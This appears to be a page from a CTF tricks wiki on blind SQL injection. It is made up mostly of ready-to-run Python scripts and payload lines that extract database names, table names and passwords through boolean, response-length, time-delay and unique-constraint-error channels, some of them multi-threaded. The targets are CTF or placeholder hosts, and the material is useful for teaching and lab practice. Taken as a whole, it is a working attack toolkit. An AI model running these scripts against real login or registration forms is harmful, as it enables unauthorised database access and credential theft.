> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/sqli/web-sqli-blind.md).

# Blind

## Automated Blind SQL Injection (Script)

Automate character-by-character blind SQL injection where the presence of a character causes a distinct HTTP response (e.g., a redirect, like 302). This Python script iterates through a character set, building the target string one character at a time based on the response status code.

```python
import requests

# Target IP/Hostname - Modify as needed
ip = "kitty.thm"

# Character set to guess from - Modify as needed
chars_list = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-/:~$^ "

c = "" # Stores the currently discovered string

while True:
    found_char_in_iteration = False
    for i in chars_list:
        # SQL payload structure: Guessing the next character of database() name
        # LIKE BINARY '{c+i}%' checks if the database name starts with the current string 'c' plus the character 'i' being tested.
        # Modify the SQL query part (e.g., database(), table_name, column_name, data) for different extractions.
        post_data= {"username":f"\' UNION SELECT 1,2,3,4 WHERE database() LIKE BINARY \'{c+i}%\' -- -","password":"test"}

        # Send the POST request. Set allow_redirects=False to correctly check for 302.
        req = requests.post(f"http://{ip}/index.php", data=post_data,allow_redirects=False)
        status_code=req.status_code

        print(f"{i}", end='') # Print character being tested for progress visibility

        # Check if the status code indicates the character is correct (e.g., 302 for redirect)
        # Modify '302' based on the application's distinct response for a True condition.
        if status_code == 302:
            c = c+i # Append the correct character to the result
            print(f"\n[+] Updated Result ==> {c}")
            found_char_in_iteration = True
            break # Move to guessing the next character after finding the current one
        elif i == chars_list[-1]: # Check if it's the last character in the set
            print("\n[+] Injection Finished")
            print(f"[+] Result ==> {c}")
            exit() # Exit if no character from the set works (string likely finished)

```

The script works by sending a POST request for each character in the `chars_list`. The SQL payload in the `username` field includes a `LIKE BINARY` clause testing if the target value (here, `database()`) starts with the current known string (`c`) followed by the character being tested (`i`). If the response status code is 302 (indicating the condition was true and caused a redirect), the character `i` is appended to `c`, and the inner loop breaks to start guessing the next character. The process continues until no character from the list yields a 302 response, indicating the string has been fully extracted. Adapt the target IP, character set, the specific SQL query within the `LIKE` clause, the HTTP method (GET/POST), payload parameters, and the success condition (status code, response content length, time delay, etc.) based on the specific blind SQL injection vulnerability.

Blind SQL injection automation can be implemented using various techniques depending on how the application responds to true/false conditions. Beyond checking status codes, common methods include checking response content length or measuring response time. Another method is checking for specific content within the response body.

Here is an example of a script automating boolean-based blind SQL injection by checking for a specific string in the response body to determine if the condition is true:

```python
import requests

def boolean_blind_sqli(url, payload_template, chars):
    extracted = ""
    position = 1
    while True:
        found_char = None
        for char in chars:
            test_payload = payload_template.format(position=position, char=char)
            try:
                response = requests.get(url + test_payload)
                # This condition depends on the application's response for a True condition
                # For example, checking for a specific string in the response body
                if "Welcome back" in response.text:
                    found_char = char
                    extracted += char
                    print(f"Found char '{char}' at position {position}")
                    break
            except Exception as e:
                print(f"Error: {e}")
                return None # Stop on error

        if found_char:
            position += 1
        else:
            print("Extraction finished or character not found in character set.")
            break
    return extracted

# Example Usage:
# target_url = "http://example.com/vulnerable_page"
# payload_template = "?id=1 AND SUBSTRING((SELECT password FROM users LIMIT 1),{position},1)='{char}'--"
# characters = "abcdefghijklmnopqrstuvwxyz0123456789"
#
# extracted_password = boolean_blind_sqli(target_url, payload_template, characters)
# print(f"Extracted password: {extracted_password}")
```

This script iterates through characters for each position, constructing a payload based on a template. It sends a GET request and checks if the string "Welcome back" is present in the response text. If found, it assumes the condition was true, appends the character, and moves to the next position. This approach requires identifying a distinct string that appears in the response only when the SQL condition is met. The `payload_template` needs to be adjusted based on the specific vulnerability and target data (e.g., extracting a password using `SUBSTRING`).

A Python script can automate character-by-character extraction by iterating through possible characters for each position of the target string. For instance, extracting a password character by character might involve a payload like `SUBSTRING(password, [position], 1) = '[char]'`.

Here is an example demonstrating automation that checks the response content length to determine if a character guess is correct. This approach is useful when the application returns pages of different sizes based on the SQL condition's truthiness. Multi-threading can be employed to speed up the process by testing multiple characters concurrently.

```python
import requests
import threading
from queue import Queue

# Configuration
target_url = "http://target.com/login" # Example target URL
chars = "abcdefghijklmnopqrstuvwxyz0123456789" # Example character set
correct_length = 1000 # Length of the response body when the condition is TRUE
num_threads = 10 # Number of threads to use

extracted_string = ""
found_char_for_position = None
position_queue = Queue()

def worker(position):
    global extracted_string, found_char_for_position
    while found_char_for_position is None and not position_queue.empty():
        try:
            char = position_queue.get_nowait()
        except:
            break

        # Example payload checking one character of the password at a specific position
        test_payload = f"' OR SUBSTRING(password, {position}, 1) = '{char}' -- -"
        post_data = {"username": test_payload, "password": "test"}

        try:
            r = requests.post(target_url, data=post_data)
            if len(r.text) == correct_length:
                print(f"\n[+] Found char '{char}' for position {position}")
                found_char_for_position = char
                break
        except Exception as e:
            print(f"[-] Error: {e}")

# Main extraction loop
position = 1
while True:
    found_char_for_position = None
    print(f"\n[+] Guessing character for position {position} (Current string: {extracted_string})")

    for char in chars:
        position_queue.put(char)

    threads = []
    for _ in range(num_threads):
        t = threading.Thread(target=worker, args=(position,))
        t.start()
        threads.append(t)

    # Wait for a character to be found or all threads to finish testing
    # In a real script, better thread management after finding a character is needed
    for t in threads:
         t.join(timeout=5) # Simple join with timeout

    if found_char_for_position:
        extracted_string += found_char_for_position
        position += 1
        # Clear queue for the next position
        while not position_queue.empty():
             try:
                 position_queue.get_nowait()
             except:
                 pass
    else:
        print("\n[+] No character found for this position. Injection finished.")
        print(f"[+] Final Result ==> {extracted_string}")
        break

```

Another common blind SQL injection technique is time-based. This relies on the application executing a time-delay function (like `SLEEP()` or `BENCHMARK()`) within the SQL query if a condition is true. The automation script then measures the response time to infer the truthiness of the condition.

Here is an example of a time-based blind SQL injection script:

```python
import requests
import time

# Configuration
target_url = "http://target.com/login" # Example target URL
chars = "abcdefghijklmnopqrstuvwxyz0123456789" # Example character set
delay_time = 5 # Seconds to sleep if condition is true
# Often requires a prior step to determine the length of the target string
target_length = 8 # Example: Assuming the database name length is 8

extracted_string = ""

print("[+] Starting time-based blind SQL injection...")

# Iterate through each position of the target string
for position in range(1, target_length + 1):
    print(f"\n[+] Guessing character for position {position} (Current string: {extracted_string})")
    found_char_for_position = None

    # Iterate through each character in the character set
    for char in chars:
        # Time-based payload: If the SUBSTRING at the current position equals 'char', sleep
        # Example payload checking one character of the database name
        test_payload = f"' OR IF(SUBSTRING(database(), {position}, 1) = '{char}', SLEEP({delay_time}), 0) -- -"
        post_data = {"username": test_payload, "password": "test"}

        start_time = time.time()
        try:
            r = requests.post(target_url, data=post_data)
        except Exception as e:
            print(f"[-] Error: {e}")
            continue

        end_time = time.time()
        response_time = end_time - start_time

        print(f"Testing '{char}'... Response time: {response_time:.2f}s", end='\r')

        # Check if the response time indicates the condition was true
        # A time significantly greater than delay_time indicates success
        if response_time >= delay_time + 1: # Use a threshold slightly above the sleep time
            found_char_for_position = char
            extracted_string += char
            print(f"\n[+] Found char: {char}")
            break

    if not found_char_for_position:
        print("\n[+] No character found for this position. String extraction may be complete or character not in set.")
        break

print(f"\n[+] Final Extracted String: {extracted_string}")

```

To further optimize time-based blind SQL injection, multi-threading can be applied. This allows testing multiple characters for a given position concurrently, significantly reducing the overall time required for extraction.

Here is a multi-threaded time-based blind SQL injection script:

```python
import requests
import threading
import time
from queue import Queue

# Configuration
target_url = "http://target.com/login"
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
delay_time = 5
target_length = 8 # Assuming database name length is 8
num_threads = 10

extracted_string = ""
found_char_for_position = None
position_queue = Queue()
lock = threading.Lock()

def worker(position):
    global extracted_string, found_char_for_position
    while found_char_for_position is None and not position_queue.empty():
        try:
            char = position_queue.get_nowait()
        except Queue.Empty:
            break

        # Time-based payload
        test_payload = f"' OR IF(SUBSTRING(database(), {position}, 1) = '{char}', SLEEP({delay_time}), 0) -- -"
        post_data = {"username": test_payload, "password": "test"}

        start_time = time.time()
        try:
            r = requests.post(target_url, data=post_data)
        except Exception as e:
            print(f"[-] Error: {e}")
            continue

        end_time = time.time()
        response_time = end_time - start_time

        print(f"Testing '{char}' for position {position}... Response time: {response_time:.2f}s", end='\r')

        if response_time >= delay_time + 1:
            with lock: # Use a lock when modifying shared variables
                if found_char_for_position is None: # Ensure only the first finding updates the result
                    found_char_for_position = char
                    print(f"\n[+] Found char: {char} for position {position}")
                    # No need to append here, main loop handles it

# Main extraction loop
position = 1
while True:
    found_char_for_position = None
    print(f"\n[+] Guessing character for position {position} (Current string: {extracted_string})")

    for char in chars:
        position_queue.put(char)

    threads = []
    for _ in range(num_threads):
        t = threading.Thread(target=worker, args=(position,))
        t.start()
        threads.append(t)

    # Wait for a character to be found or all threads to finish testing
    # This part needs careful handling to stop threads once a char is found
    while found_char_for_position is None and any(t.is_alive() for t in threads):
         time.sleep(0.1) # Wait a bit before checking again

    # Attempt to stop threads once a character is found
    if found_char_for_position:
         # A more robust way to stop threads might be needed depending on the specific implementation
         # For this simple example, just letting them finish or time out might be sufficient
         pass # The worker function checks found_char_for_position

    for t in threads:
        t.join() # Wait for all threads to finish their current task or exit


    if found_char_for_position:
        extracted_string += found_char_for_position
        position += 1
        # Clear queue for the next position
        while not position_queue.empty():
             try:
                 position_queue.get_nowait()
             except:
                 pass
    else:
        print("\n[+] No character found for this position. Injection finished.")
        print(f"[+] Final Result ==> {extracted_string}")
        break

```

This multi-threaded script uses a queue to manage characters to be tested and a lock to safely update the shared `found_char_for_position` variable. Multiple worker threads are started, each picking characters from the queue and testing the time-based payload. Once a thread finds the correct character for the current position, it sets the `found_char_for_position` flag, signaling the main loop to move to the next position after the current threads complete.

These examples illustrate how Python can be used to automate different types of blind SQL injection attacks by adapting the payload structure, the method of sending requests (GET/POST), and the logic for determining a 'true' condition based on the application's response (status code, content length, response content, or time delay). Remember to adjust parameters like the target URL, character set, sleep time, expected response length, and the specific SQL query part being injected based on the target application and vulnerability.

***

## Blind Sql Injection (Boolean Error-Based)

Exploit a blind SQL injection vulnerability in an `INSERT` query by crafting boolean conditions within a parameter that triggers a `UNIQUE constraint failed` error when the condition is true. This error serves as the boolean channel.

For example, if the vulnerable `username` parameter in an `INSERT` query to `/add` leads to a `UNIQUE constraint failed: user.username` error upon inserting a duplicate username, you can inject a boolean condition like this:

```sql
username=' OR (select username from user where username='admin' and unicode((select substr((select password from user) , {pos}, 1))) = unicode('{char}'))) OR ''
```

If the inner `SELECT` condition (`unicode(substr((select password from user) , {pos}, 1))) = unicode('{char}')` evaluates to true (e.g., the character at `{pos}` matches `{char}`), the `(select username from user where username='admin' ...)` part will return 'admin'. The outer `OR` then attempts to insert 'admin' (assuming 'admin' already exists), triggering the `UNIQUE constraint failed` error. If the condition is false, the inner select returns nothing, the OR fails, and no error occurs.

Automate iteration over character positions (`{pos}`) and characters (`{char}`) with a script to extract data character by character based on the presence or absence of the unique constraint error in the response.

This script provides a basic framework to automate the blind SQL injection process using this error channel. It iterates through character positions and possible characters, sending crafted requests to the target URL. The presence of a specific error message in the response indicates a successful character match, allowing the data to be extracted character by character.

```python
import requests
import string
import sys

# Target URL and known good parameters
url = "http://example.com/add_user" # Replace with actual URL
params = {
    'username': '', # Placeholder for injection
    'email': 'test@example.com',
    'password': 'password123'
}

# Characters to test (adjust as needed based on expected data)
chars = string.ascii_letters + string.digits + string.punctuation + ' '

extracted_string = ""
position = 1 # Start at the first character

print("Starting blind SQL injection...")

while True:
    found_char = False
    for char in chars:
        # Craft the payload using the technique described
        # username=' OR (select username from user where username='admin' and unicode((select substr((select password from user) , {pos}, 1))) = unicode('{char}'))) OR ''
        injection_payload = f"' OR (select username from user where username='admin' and unicode((select substr((select password from user) , {position}, 1))) = unicode('{char}'))) OR ''"

        # Prepare data for the POST request
        data = params.copy()
        data['username'] = injection_payload

        try:
            # Make the request
            response = requests.post(url, data=data)

            # Check for the error condition (unique constraint violation)
            # The specific error message needs to be observed from the target
            # Example check based on original content: "UNIQUE constraint failed: user.username"
            if "UNIQUE constraint failed: user.username" in response.text:
                extracted_string += char
                print(f"Found char '{char}' at position {position}")
                found_char = True
                break # Move to the next position

        except requests.exceptions.RequestException as e:
            print(f"Request error: {e}")
            sys.exit(1) # Exit on critical error

    if not found_char:
        print(f"Could not find character at position {position}. Extraction complete or position out of range.")
        break # No character found for this position, assume end of string

    position += 1

print(f"\nExtracted data: {extracted_string}")
```

Another example of a Python script automating this blind SQL injection technique using a unique constraint error:

```python
import requests
import string

url = "http://example.com/register" # Replace with the actual URL
chars = string.ascii_lowercase + string.digits + string.punctuation

extracted_password = ""
position = 1

print("Starting blind SQL injection...")

while True:
    found_char = False
    for char in chars:
        # Example payload for a username parameter in a registration form
        # username=' OR (SELECT 1 FROM users WHERE username = 'admin' AND SUBSTR(password,{position},1) = '{char}') AND ''
        payload = f"' OR (SELECT 1 FROM users WHERE username = 'admin' AND SUBSTR(password,{position},1) = '{char}') AND ''"

        data = {
            'username': payload,
            'email': 'test@example.com',
            'password': 'password123'
        }

        try:
            response = requests.post(url, data=data)

            # Check for the unique constraint violation error message
            # Observe the actual error message from the target application
            if "UNIQUE constraint failed: users.username" in response.text:
                extracted_password += char
                print(f"Found char '{char}' at position {position}")
                found_char = True
                break # Move to the next position

        except requests.exceptions.RequestException as e:
            print(f"Request error: {e}")
            break # Exit on critical error

    if not found_char:
        print(f"Could not find character at position {position}. Assumed end of password.")
        break # No character found for this position, assume end of string

    position += 1

print(f"\nExtracted password: {extracted_password}")
```

***

## Manual Blind SQL Injection (Boolean)

The technique exploits differing HTTP response codes (e.g., 302 for true, 200 for false) based on boolean conditions in the query to manually extract data character by character. Blind SQL injection arises when the results of a SQL query are not returned to the application. Attackers cannot see the output of the query, but they can infer information based on whether the query causes a difference in the application's response. Boolean blind SQL injection is when the application's response changes depending on whether the result of an injected query is true or false. The attacker can then infer information by observing the application’s response, such as a change in content or status code.

First, determine the number of columns using `ORDER BY`. The `ORDER BY` clause is used to sort the result set of a `SELECT` query in ascending or descending order. In SQL injection, it can be used to determine the number of columns being selected by the original query. Increment `[NUMBER]` until an error occurs; if the specified column number does not exist, the database will usually return an error message. The last successful number is the column count (e.g., 4 in this example).

```sql
username='+ORDER+BY+[NUMBER]+--+-
```

To extract data character by character, use `UNION SELECT` with dummy values corresponding to the column count and a `WHERE` clause containing a boolean condition. A common technique involves using string functions like `SUBSTRING` along with comparison operators or the `ASCII` function to test characters position by position. For example, to test the first character of the database name, you could use `SUBSTRING(database(), 1, 1)`. To make comparisons case-sensitive, `BINARY` can be used, for instance, `LIKE BINARY '{c+i}%'`. Alternatively, character codes can be compared using the `ASCII` function: `ASCII(SUBSTRING(database(), 1, 1)) > 50`. Observe the HTTP response code (e.g., 302 vs 200) or other response differences to determine if the tested character or comparison is correct for the current position.

Examples using `UNION SELECT` and boolean conditions:

```sql
username='+UNION+SELECT+1,2,3,4+WHERE+database()+LIKE+BINARY+\'{c+i}%\'+--+- -- Extract DB name using LIKE BINARY
username='+UNION+SELECT+1,2,3,4+WHERE+ASCII(SUBSTRING(database(),{pos},1)) > {ascii_val}+--+- -- Extract DB name using ASCII and SUBSTRING
username='+UNION+SELECT+1,2,3,4+FROM+information_schema.tables+WHERE+table_schema+=+database()+AND+table_name+LIKE+BINARY+\'{c+i}%\'+--+- -- Extract table name using LIKE BINARY
username='+UNION+SELECT+1,2,3,4+FROM+siteusers+WHERE+username+LIKE+BINARY+\'{c+i}%\'+--+- -- Extract username using LIKE BINARY
username='+UNION+SELECT+1,2,3,4+FROM+users+WHERE+username='Administrator'+AND+ASCII(SUBSTRING(password,{pos},1)) > {ascii_val}+--+- -- Extract password for a specific user using ASCII and SUBSTRING
```

Automating this character-by-character extraction can be done using a simple script. The script iterates through possible characters for each position, building the string piece by piece. It sends a request with a payload containing a boolean condition, such as `WHERE database() LIKE BINARY '{current_extracted_string}{test_char}%'` or `WHERE ASCII(SUBSTRING((SELECT password FROM users WHERE username='administrator'),{pos},1)) > {ascii_val}`. It then checks the HTTP response code or other response characteristics to infer whether the condition was true or false. A 302 status code typically indicates the condition is true in this scenario, allowing the script to append the character and move to the next position.

A Python script can implement this logic:

```python
import requests
import string

url = "http://example.com/vulnerable?username="
chars = string.ascii_letters + string.digits + "!@#$%^&*()_+-=[]{}|;':\",./<>?"
extracted_data = ""

# Assuming column count and vulnerable parameter are known

for i in range(1, 20): # Max length of data
    found_char = False
    for c in chars:
        # Using LIKE BINARY approach
        payload = f"' UNION SELECT 1,2,3,4 WHERE database() LIKE BINARY '{extracted_data}{c}%' -- -"
        # Alternative using ASCII and SUBSTRING
        # payload = f"' UNION SELECT 1,2,3,4 WHERE ASCII(SUBSTRING(database(), {i}, 1)) = {ord(c)} -- -"

        full_url = url + payload
        response = requests.get(full_url)

        # Assuming 302 indicates true based on application behavior
        if response.status_code == 302:
            extracted_data += c
            print(f"Found char: {c}, Current data: {extracted_data}")
            found_char = True
            break # Move to next position
        # If using ASCII comparison, you might check for a different response for > or <

    if not found_char:
        print(f"End of data or char not found at position {i}")
        break

print(f"Final extracted data: {extracted_data}")
```
